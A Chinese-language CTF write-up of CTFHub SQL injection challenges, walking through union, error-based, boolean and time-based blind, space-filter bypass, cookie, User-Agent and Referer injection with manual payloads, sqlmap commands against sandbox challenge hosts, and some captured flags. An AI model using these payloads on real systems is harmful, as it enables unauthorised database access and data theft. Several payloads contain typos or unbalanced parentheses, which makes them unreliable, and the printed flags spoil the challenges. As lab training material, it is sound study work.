思路:ctf题目考察这一点的话肯定是从在漏洞的;无须挖掘漏洞!一般过程就是:首先判断数据的传值方式(GET/POST):如果是GET方式直接尝试用sqlmap工具跑;如果能跑出来万事大吉;如果跑不出来具体分析代码;看是否有过滤措施;根据相应的过滤措施制定绕过方法,最终拿到flag;如果是POST传值的话有三种爆破方式"抓包保存为.txt然后使用工具爆破,使用-r参数进行爆破""增加--data参数""使用hackbar插件手工注入”
1、数字型注入
(1)informartion_schema
该数据库中table_name;table_schema;column_name
三个字段分别表示存放“表名;数据库名;字段名”的字段;其中informartion_schema.tables
存放所有的表;informartion_schema.columns
存放所有的字段
(2)题解:
手工注入:
注入点:select * from news id=1
判断字段数 select * from news id=-1 union order by 2
查询数据库名称和版本 -1 union database(),version() //数据库为sqli
查询表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() //表名为flag
查询字段名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' //字段为flag
查询内容 -1 union select 1,group_concat(flag) from flag //从flag表中查询flag字段的内容
工具注入:
爆破dbs
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -dbs
爆破tables
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli --tables
爆破columns
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli -T flag -columns
爆破dump
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli -T flag -C flag -dump
2、字符型注入
(1)
手工注入:发现是字符型;需要构造闭合逃逸单引号;使用# --+ or
三种的方式闭合!;其中# --+是数据库中的注释字符!
注入点:select * from news where id='1' //使用1'#闭合;输出结果为 '1' #'
字段数:1' order by 1,2# //字段数为2
显示位 1' union select 1,2#
数据库和版本信息:-1' union select database(),version()#
表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //表名为flag
字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'# //字段为flag
内容:-1' union select 1,group_concat(flag) from flag#
工具注入:url:还是get方式提交数据;同上!
3、报错注入
(1)手工注入:
- floor()
# paylod
# group by是分组;concat<==>group_cancat都是拼接函数
# 替换version()完成注入
Id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
- updatexml(data1,data2,data3)
Data1:xml文档对象的名称
Data2:xpath格式的字符串;不符合xpath格式会报错
Data3:新的替换格式
# Payload:
Select * from admin where id =1 and upadtexml(1,concat(0x7e,version(),0x7e),1);
- extractvlaue()
# Payload
Select * from admin where id=1 and extractvalue(1,concat(0x7e,version,0x7e)); //直接替换version();比如查询数据库;就替换成database()
(2)工具注入:
查看url还是get方式提交数据;同上!ctfhub{d21c4f507bd542ffbf84e341}
4、布尔盲注
(1)手工注入
eg:页面会根据注入的信息返回success和fail;用户根据页面的回显信息不断的区猜解数据库的具体信息;手工就是使用bp一个字符一个字符的去爆破!
获取数据库长度:id=1 and length(database())=num //使用bp爆破
获取数据库名称: id=1 and substr(database(),1,1)='a' //爆破数据库第一个字母;根据length爆破,(1,1)表示从1开始截取一个字符,那么第二个字符就是(2,1),一次类推 id=1 and ascii(substr(database(),1,1))=96//假设数据库为sqli
获取表名称 id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1) //截取第一个表的第一个字符,mid<=>substr
获取字段名称 id=1 and(ord(mid(select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1) //获取第一个字段的子一个字母。其中(limit 1,1)表示第一个字段,(mid 1,1)表示第一个字段的第一个字母
获取内容 id=1 and(mid(select 字段 from 表名),1,1)=97//bp抓包爆破
(2)sqlmap自动化注入
//使用--technique B指定sql注入利用的技术;其中B布尔盲注
Python sqlmap.py -u “url” --technique B -batch -dbs
Python sqlmap.py -u “url” --technique B -batch -D admin -tables
Python sqlmap.py -u “url” --technique B -batch -D admin -T flag
Python sqlmap.py -u “url” --technique B -batch -D admin -T flag -columns
Python sqlmap.py -u “url” --technique B -batch -D admin -T flag -C username,password -dump
5、时间盲注
(1)手工注入:
# 获取数据库长度 # 数据库长度为7则执行sleep7,否则不执行 id=1 and if(length(database()=7,sleep(3),null)
#获取数据库名称 # 数据库第一个字符为w执行sleep(3),否则为null id=1 and if(substr(database(),1,1)='w',sleep(3),null)
#获取表名称 #limit 0,1 <==> 1 offset 0 表示第一个表 # substr 1,1 <==> from 1 for 1 表示第一个表的第一个字符 # 第一个表的第一个字符为a执行sleep(3),否则不执行 id=1 and if((substr(select table_name from information_schema.tables where table_schema=database()limit 0,1)1,1)='a')),sleep(3),null)
#获取字段 id=1 and if((substr(select column_name form information_schema.columns where table_name=’admin’ limit 0,1),1,1)=’a’),sleep(3),null)
#查询数据内容 id=1 and if((substr(select user from user limit 0,1),1,1)=’a’),sleep(3),null)
(2)工具注入
判断url,还是以GET方式进行传参;同上!
6、mysql结构
(1)判断url,还是以GET方式进行传参;同上!
找到flag!
7、过滤空格
(1)判断url;传值方式;发现还是GET,尝试用工具跑;发现跑不来;分析代码;发现对空格进行了过滤;空格绕过的话,sqlmap是直接跑不出来的,使用 /**/
绕过空格就可以用sqlmap工具进行爆破;使用如下url:http://challenge-bf09b84c446b8972.sandbox.ctfhub.com:10800/?id=1/**/or/**/1=1
;同上进行爆破!
8、cookie注入
(1)根据提示是cookie注入(就是cookie中出现id=1的传递参数);所以直接用抓包进行手工注入
示例cookie:
判断列数:
Cookie: id=1 order by 1,2;
判断注入点:
Cookie: id=-1 union select 1,database();
爆破数据库:
Cookie: id=-1 union select 1,database();
爆破表:
Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
爆破字段
Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='nlcalxydrn' limit 0,1);
爆破内容:
Cookie: id=-1 union select 1,(select bthklxaibf from pmztnmplmx limit 0,1);
得到flag
ctfhub{5b6afeee77278e163c7b8697}
9、UA注入
(1)和cookie注入类似。还是通过bp抓包;只不过是注入的位置发生了变化;从cookie变成user_agent
(2)过程
测试注入点(发现并没有过滤)
判断列名:1 order by 1,2,3
判断注入点 -1 union select 1,2
爆破数据库 -1 union select 1,database()
爆破表 -1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
爆破字段 -1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='uztgkqmitp' limit 0,1)
爆破内容 -1 union select 1,(select zecqtvxwmf from uztgkqmitp limit 0,1)
拿到flag
10、refer注入
利用hackbar插件不断地修改refer的值;和上面过程相同,此处就不过多赘述!